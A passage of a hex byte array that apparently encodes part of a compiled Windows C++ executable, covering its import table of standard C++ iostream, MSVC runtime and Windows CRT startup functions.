0x75, 0x73, 0x68, 0x40, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x6F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x51, 0x45, 0x41, 0x41, 0x41, 0x45, 0x41, 0x56, 0x31, 0x32, 0x40, 0x58, 0x5A, 0x00, 0x1A, 0x00, 0x3F, 0x3F, 0x30, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x69, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x51, 0x45, 0x41, 0x41, 0x40, 0x50, 0x45, 0x41, 0x56, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x62, 0x75, 0x66, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x31, 0x40, 0x5F, 0x4E, 0x40, 0x5A, 0x00, 0xFA, 0x03, 0x3F, 0x69, 0x6E, 0x40, 0x3F, 0x24, 0x63, 0x6F, 0x64, 0x65, 0x63, 0x76, 0x74, 0x40, 0x44, 0x44, 0x55, 0x5F, 0x4D, 0x62, 0x73, 0x74, 0x61, 0x74, 0x65, 0x74, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x51, 0x45, 0x42, 0x41, 0x48, 0x41, 0x45, 0x41, 0x55, 0x5F, 0x4D, 0x62, 0x73, 0x74, 0x61, 0x74, 0x65, 0x74, 0x40, 0x40, 0x50, 0x45, 0x42, 0x44, 0x31, 0x41, 0x45, 0x41, 0x50, 0x45, 0x42, 0x44, 0x50, 0x45, 0x41, 0x44, 0x33, 0x41, 0x45, 0x41, 0x50, 0x45, 0x41, 0x44, 0x40, 0x5A, 0x00, 0x00, 0x33, 0x04, 0x3F, 0x6F, 0x75, 0x74, 0x40, 0x3F, 0x24, 0x63, 0x6F, 0x64, 0x65, 0x63, 0x76, 0x74, 0x40, 0x44, 0x44, 0x55, 0x5F, 0x4D, 0x62, 0x73, 0x74, 0x61, 0x74, 0x65, 0x74, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x51, 0x45, 0x42, 0x41, 0x48, 0x41, 0x45, 0x41, 0x55, 0x5F, 0x4D, 0x62, 0x73, 0x74, 0x61, 0x74, 0x65, 0x74, 0x40, 0x40, 0x50, 0x45, 0x42, 0x44, 0x31, 0x41, 0x45, 0x41, 0x50, 0x45, 0x42, 0x44, 0x50, 0x45, 0x41, 0x44, 0x33, 0x41, 0x45, 0x41, 0x50, 0x45, 0x41, 0x44, 0x40, 0x5A, 0x00, 0xC5, 0x04, 0x3F, 0x73, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x65, 0x40, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x69, 0x6F, 0x73, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x51, 0x45, 0x41, 0x41, 0x58, 0x48, 0x5F, 0x4E, 0x40, 0x5A, 0x00, 0x0C, 0x00, 0x3F, 0x3F, 0x30, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x69, 0x6F, 0x73, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x49, 0x45, 0x41, 0x41, 0x40, 0x58, 0x5A, 0x00, 0x25, 0x00, 0x3F, 0x3F, 0x30, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x6F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x51, 0x45, 0x41, 0x41, 0x40, 0x50, 0x45, 0x41, 0x56, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x62, 0x75, 0x66, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x31, 0x40, 0x5F, 0x4E, 0x40, 0x5A, 0x00, 0x89, 0x00, 0x3F, 0x3F, 0x31, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x62, 0x75, 0x66, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x55, 0x45, 0x41, 0x41, 0x40, 0x58, 0x5A, 0x00, 0x28, 0x02, 0x3F, 0x5F, 0x4C, 0x6F, 0x63, 0x6B, 0x40, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x62, 0x75, 0x66, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x55, 0x45, 0x41, 0x41, 0x58, 0x58, 0x5A, 0x00, 0x7F, 0x02, 0x3F, 0x5F, 0x55, 0x6E, 0x6C, 0x6F, 0x63, 0x6B, 0x40, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x62, 0x75, 0x66, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x55, 0x45, 0x41, 0x41, 0x58, 0x58, 0x5A, 0x00, 0xD5, 0x04, 0x3F, 0x73, 0x68, 0x6F, 0x77, 0x6D, 0x61, 0x6E, 0x79, 0x63, 0x40, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x62, 0x75, 0x66, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x4D, 0x45, 0x41, 0x41, 0x5F, 0x4A, 0x58, 0x5A, 0x00, 0x00, 0x1B, 0x05, 0x3F, 0x75, 0x66, 0x6C, 0x6F, 0x77, 0x40, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x62, 0x75, 0x66, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x4D, 0x45, 0x41, 0x41, 0x48, 0x58, 0x5A, 0x00, 0x43, 0x05, 0x3F, 0x78, 0x73, 0x67, 0x65, 0x74, 0x6E, 0x40, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x62, 0x75, 0x66, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x4D, 0x45, 0x41, 0x41, 0x5F, 0x4A, 0x50, 0x45, 0x41, 0x44, 0x5F, 0x4A, 0x40, 0x5A, 0x00, 0x46, 0x05, 0x3F, 0x78, 0x73, 0x70, 0x75, 0x74, 0x6E, 0x40, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x62, 0x75, 0x66, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x4D, 0x45, 0x41, 0x41, 0x5F, 0x4A, 0x50, 0x45, 0x42, 0x44, 0x5F, 0x4A, 0x40, 0x5A, 0x00, 0xB5, 0x04, 0x3F, 0x73, 0x65, 0x74, 0x62, 0x75, 0x66, 0x40, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x62, 0x75, 0x66, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x4D, 0x45, 0x41, 0x41, 0x50, 0x45, 0x41, 0x56, 0x31, 0x32, 0x40, 0x50, 0x45, 0x41, 0x44, 0x5F, 0x4A, 0x40, 0x5A, 0x00, 0x00, 0xFD, 0x04, 0x3F, 0x73, 0x79, 0x6E, 0x63, 0x40, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x62, 0x75, 0x66, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x4D, 0x45, 0x41, 0x41, 0x48, 0x58, 0x5A, 0x00, 0x00, 0xF6, 0x03, 0x3F, 0x69, 0x6D, 0x62, 0x75, 0x65, 0x40, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x62, 0x75, 0x66, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x4D, 0x45, 0x41, 0x41, 0x58, 0x41, 0x45, 0x42, 0x56, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x65, 0x40, 0x32, 0x40, 0x40, 0x5A, 0x00, 0x00, 0x7D, 0x00, 0x3F, 0x3F, 0x31, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x69, 0x6F, 0x73, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x55, 0x45, 0x41, 0x41, 0x40, 0x58, 0x5A, 0x00, 0x86, 0x00, 0x3F, 0x3F, 0x31, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x6F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x55, 0x45, 0x41, 0x41, 0x40, 0x58, 0x5A, 0x00, 0x08, 0x01, 0x3F, 0x3F, 0x36, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x6F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x51, 0x45, 0x41, 0x41, 0x41, 0x45, 0x41, 0x56, 0x30, 0x31, 0x40, 0x50, 0x36, 0x41, 0x41, 0x45, 0x41, 0x56, 0x69, 0x6F, 0x73, 0x5F, 0x62, 0x61, 0x73, 0x65, 0x40, 0x31, 0x40, 0x41, 0x45, 0x41, 0x56, 0x32, 0x31, 0x40, 0x40, 0x5A, 0x40, 0x5A, 0x00, 0x00, 0xFF, 0x00, 0x3F, 0x3F, 0x36, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x6F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x51, 0x45, 0x41, 0x41, 0x41, 0x45, 0x41, 0x56, 0x30, 0x31, 0x40, 0x48, 0x40, 0x5A, 0x00, 0x00, 0x83, 0x00, 0x3F, 0x3F, 0x31, 0x3F, 0x24, 0x62, 0x61, 0x73, 0x69, 0x63, 0x5F, 0x69, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x40, 0x44, 0x55, 0x3F, 0x24, 0x63, 0x68, 0x61, 0x72, 0x5F, 0x74, 0x72, 0x61, 0x69, 0x74, 0x73, 0x40, 0x44, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x55, 0x45, 0x41, 0x41, 0x40, 0x58, 0x5A, 0x00, 0xC5, 0x03, 0x3F, 0x67, 0x6F, 0x6F, 0x64, 0x40, 0x69, 0x6F, 0x73, 0x5F, 0x62, 0x61, 0x73, 0x65, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x51, 0x45, 0x42, 0x41, 0x5F, 0x4E, 0x58, 0x5A, 0x00, 0x00, 0x32, 0x01, 0x3F, 0x3F, 0x42, 0x69, 0x6F, 0x73, 0x5F, 0x62, 0x61, 0x73, 0x65, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x51, 0x45, 0x42, 0x41, 0x5F, 0x4E, 0x58, 0x5A, 0x00, 0x9D, 0x02, 0x3F, 0x61, 0x6C, 0x77, 0x61, 0x79, 0x73, 0x5F, 0x6E, 0x6F, 0x63, 0x6F, 0x6E, 0x76, 0x40, 0x63, 0x6F, 0x64, 0x65, 0x63, 0x76, 0x74, 0x5F, 0x62, 0x61, 0x73, 0x65, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x51, 0x45, 0x42, 0x41, 0x5F, 0x4E, 0x58, 0x5A, 0x00, 0x31, 0x01, 0x3F, 0x3F, 0x42, 0x69, 0x64, 0x40, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x65, 0x40, 0x73, 0x74, 0x64, 0x40, 0x40, 0x51, 0x45, 0x41, 0x41, 0x5F, 0x4B, 0x58, 0x5A, 0x00, 0x00, 0x4D, 0x53, 0x56, 0x43, 0x50, 0x31, 0x34, 0x30, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x5F, 0x5F, 0x43, 0x78, 0x78, 0x46, 0x72, 0x61, 0x6D, 0x65, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x72, 0x34, 0x00, 0x00, 0x22, 0x00, 0x5F, 0x5F, 0x73, 0x74, 0x64, 0x5F, 0x65, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x5F, 0x64, 0x65, 0x73, 0x74, 0x72, 0x6F, 0x79, 0x00, 0x21, 0x00, 0x5F, 0x5F, 0x73, 0x74, 0x64, 0x5F, 0x65, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x5F, 0x63, 0x6F, 0x70, 0x79, 0x00, 0x00, 0x23, 0x00, 0x5F, 0x5F, 0x73, 0x74, 0x64, 0x5F, 0x74, 0x65, 0x72, 0x6D, 0x69, 0x6E, 0x61, 0x74, 0x65, 0x00, 0x08, 0x00, 0x5F, 0x5F, 0x43, 0x5F, 0x73, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x63, 0x5F, 0x68, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x72, 0x00, 0x00, 0x01, 0x00, 0x5F, 0x43, 0x78, 0x78, 0x54, 0x68, 0x72, 0x6F, 0x77, 0x45, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x00, 0x00, 0x25, 0x00, 0x5F, 0x5F, 0x73, 0x74, 0x64, 0x5F, 0x74, 0x79, 0x70, 0x65, 0x5F, 0x69, 0x6E, 0x66, 0x6F, 0x5F, 0x64, 0x65, 0x73, 0x74, 0x72, 0x6F, 0x79, 0x5F, 0x6C, 0x69, 0x73, 0x74, 0x00, 0x00, 0x3E, 0x00, 0x6D, 0x65, 0x6D, 0x73, 0x65, 0x74, 0x00, 0x00, 0x56, 0x43, 0x52, 0x55, 0x4E, 0x54, 0x49, 0x4D, 0x45, 0x31, 0x34, 0x30, 0x5F, 0x31, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x56, 0x43, 0x52, 0x55, 0x4E, 0x54, 0x49, 0x4D, 0x45, 0x31, 0x34, 0x30, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x7F, 0x00, 0x66, 0x70, 0x75, 0x74, 0x63, 0x00, 0x77, 0x00, 0x66, 0x66, 0x6C, 0x75, 0x73, 0x68, 0x00, 0x00, 0x74, 0x00, 0x66, 0x63, 0x6C, 0x6F, 0x73, 0x65, 0x00, 0x00, 0x78, 0x00, 0x66, 0x67, 0x65, 0x74, 0x63, 0x00, 0x64, 0x00, 0x69, 0x73, 0x61, 0x6C, 0x6E, 0x75, 0x6D, 0x00, 0x24, 0x00, 0x5F, 0x75, 0x6E, 0x6C, 0x6F, 0x63, 0x6B, 0x5F, 0x66, 0x69, 0x6C, 0x65, 0x00, 0x00, 0x16, 0x00, 0x5F, 0x6C, 0x6F, 0x63, 0x6B, 0x5F, 0x66, 0x69, 0x6C, 0x65, 0x00, 0x00, 0x8A, 0x00, 0x66, 0x77, 0x72, 0x69, 0x74, 0x65, 0x00, 0x00, 0x79, 0x00, 0x66, 0x67, 0x65, 0x74, 0x70, 0x6F, 0x73, 0x00, 0x98, 0x00, 0x73, 0x65, 0x74, 0x76, 0x62, 0x75, 0x66, 0x00, 0x9D, 0x00, 0x75, 0x6E, 0x67, 0x65, 0x74, 0x63, 0x00, 0x00, 0x88, 0x00, 0x66, 0x73, 0x65, 0x74, 0x70, 0x6F, 0x73, 0x00, 0x83, 0x00, 0x66, 0x72, 0x65, 0x61, 0x64, 0x00, 0x2F, 0x00, 0x5F, 0x66, 0x73, 0x65, 0x65, 0x6B, 0x69, 0x36, 0x34, 0x00, 0x39, 0x00, 0x5F, 0x69, 0x6E, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x5F, 0x70, 0x61, 0x72, 0x61, 0x6D, 0x65, 0x74, 0x65, 0x72, 0x5F, 0x6E, 0x6F, 0x69, 0x6E, 0x66, 0x6F, 0x5F, 0x6E, 0x6F, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x00, 0x00, 0x39, 0x00, 0x5F, 0x67, 0x65, 0x74, 0x5F, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x5F, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x5F, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x73, 0x00, 0x08, 0x00, 0x5F, 0x63, 0x61, 0x6C, 0x6C, 0x6E, 0x65, 0x77, 0x68, 0x00, 0x19, 0x00, 0x6D, 0x61, 0x6C, 0x6C, 0x6F, 0x63, 0x00, 0x00, 0x18, 0x00, 0x66, 0x72, 0x65, 0x65, 0x00, 0x00, 0x36, 0x00, 0x5F, 0x69, 0x6E, 0x69, 0x74, 0x74, 0x65, 0x72, 0x6D, 0x00, 0x37, 0x00, 0x5F, 0x69, 0x6E, 0x69, 0x74, 0x74, 0x65, 0x72, 0x6D, 0x5F, 0x65, 0x00, 0x3F, 0x00, 0x5F, 0x73, 0x65, 0x68, 0x5F, 0x66, 0x69, 0x6C, 0x74, 0x65, 0x72, 0x5F, 0x64, 0x6C, 0x6C, 0x00, 0x18, 0x00, 0x5F, 0x63, 0x6F, 0x6E, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x5F, 0x6E, 0x61, 0x72, 0x72, 0x6F, 0x77, 0x5F, 0x61, 0x72, 0x67, 0x76, 0x00, 0x00, 0x33, 0x00, 0x5F, 0x69, 0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, 0x5F, 0x6E, 0x61, 0x72, 0x72, 0x6F, 0x77, 0x5F, 0x65, 0x6E, 0x76, 0x69, 0x72, 0x6F, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x00, 0x00, 0x34, 0x00, 0x5F, 0x69, 0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, 0x5F, 0x6F, 0x6E, 0x65, 0x78, 0x69, 0x74, 0x5F, 0x74, 0x61, 0x62, 0x6C, 0x65, 0x00, 0x00, 0x3C, 0x00, 0x5F, 0x72, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x5F, 0x6F, 0x6E, 0x65, 0x78, 0x69, 0x74, 0x5F, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x00, 0x22, 0x00, 0x5F, 0x65, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x5F, 0x6F, 0x6E, 0x65, 0x78, 0x69, 0x74, 0x5F, 0x74, 0x61, 0x62, 0x6C, 0x65, 0x00, 0x1E, 0x00, 0x5F, 0x63, 0x72, 0x74, 0x5F, 0x61, 0x74, 0x65, 0x78, 0x69, 0x74, 0x00, 0x16, 0x00, 0x5F, 0x63, 0x65, 0x78, 0x69, 0x74, 0x00, 0x00, 0x61, 0x70, 0x69, 0x2D, 0x6D, 0x73, 0x2D, 0x77, 0x69, 0x6E, 0x2D, 0x63, 0x72, 0x74, 0x2D, 0x73, 0x74, 0x64, 0x69, 0x6F, 0x2D, 0x6C, 0x31, 0x2D, 0x31, 0x2D, 0x30, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x61, 0x70, 0x69, 0x2D, 0x6D, 0x73, 0x2D, 0x77, 0x69, 0x6E, 0x2D, 0x63, 0x72, 0x74, 0x2D, 0x68, 0x65, 0x61, 0x70, 0x2D, 0x6C, 0x31, 0x2D, 0x31, 0x2D, 0x30, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x61, 0x70, 0x69, 0x2D, 0x6D, 0x73, 0x2D, 0x77, 0x69, 0x6E, 0x2D, 0x63, 0x72, 0x74, 0x2D, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x2D, 0x6C, 0x31, 0x2D, 0x31, 0x2D, 0x30, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x61, 0x70, 0x69, 0x2D, 0x6D, 0x73, 0x2D, 0x77, 0x69, 0x6E, 0x2D, 0x63, 0x72, 0x74, 0x2D, 0x66, 0x69, 0x6C, 0x65, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2D, 0x6C, 0x31, 0x2D, 0x31, 0x2D, 0x30, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x61, 0x70, 0x69, 0x2D, 0x6D, 0x73, 0x2D, 0x77, 0x69, 0x6E, 0x2D, 0x63, 0x72, 0x74, 0x2D, 0x72, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x2D, 0x6C, 0x31, 0x2D, 0x31, 0x2D, 0x30, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x01, 0x05, 0x52, 0x74, 0x6C, 0x43, 0x61, 0x70, 0x74, 0x75, 0x72, 0x65, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x09, 0x05, 0x52, 0x74, 0x6C, 0x4C, 0x6F, 0x6F, 0x6B, 0x75, 0x70, 0x46, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x45, 0x6E, 0x74, 0x72, 0x79, 0x00, 0x00, 0x10, 0x05, 0x52, 0x74, 0x6C, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x55, 0x6E, 0x77, 0x69, 0x6E, 0x64, 0x00, 0x00, 0xF3, 0x05, 0x55, 0x6E, 0x68, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x64, 0x45, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x46, 0x69, 0x6C, 0x74, 0x65, 0x72, 0x00, 0x00, 0xB0, 0x05, 0x53, 0x65, 0x74, 0x55, 0x6E, 0x68, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x64, 0x45, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x46, 0x69, 0x6C, 0x74, 0x65, 0x72, 0x00, 0x3B, 0x02, 0x47, 0x65, 0x74, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x00, 0xD0, 0x05, 0x54, 0x65, 0x72, 0x6D, 0x69, 0x6E, 0x61, 0x74, 0x65, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x00, 0x00, 0xB2, 0x03, 0x49, 0x73, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x6F, 0x72, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x50, 0x72, 0x65, 0x73, 0x65, 0x6E, 0x74, 0x00, 0x7B, 0x04, 0x51, 0x75, 0x65, 0x72, 0x79, 0x50, 0x65, 0x72, 0x66, 0x6F, 0x72, 0x6D, 0x61, 0x6E, 0x63, 0x65, 0x43, 0x6F, 0x75, 0x6E, 0x74, 0x65, 0x72, 0x00, 0x3C, 0x02, 0x47, 0x65, 0x74, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x49, 0x64, 0x00, 0x40, 0x02, 0x47, 0x65, 0x74, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x49, 0x64, 0x00, 0x00, 0x14, 0x03, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x54, 0x69, 0x6D, 0x65, 0x41, 0x73, 0x46, 0x69, 0x6C, 0x65, 0x54, 0x69, 0x6D, 0x65, 0x00, 0x94, 0x03, 0x49, 0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, 0x53, 0x4C, 0x69, 0x73, 0x74, 0x48, 0x65, 0x61, 0x64, 0x00, 0xAA, 0x03, 0x49, 0x73, 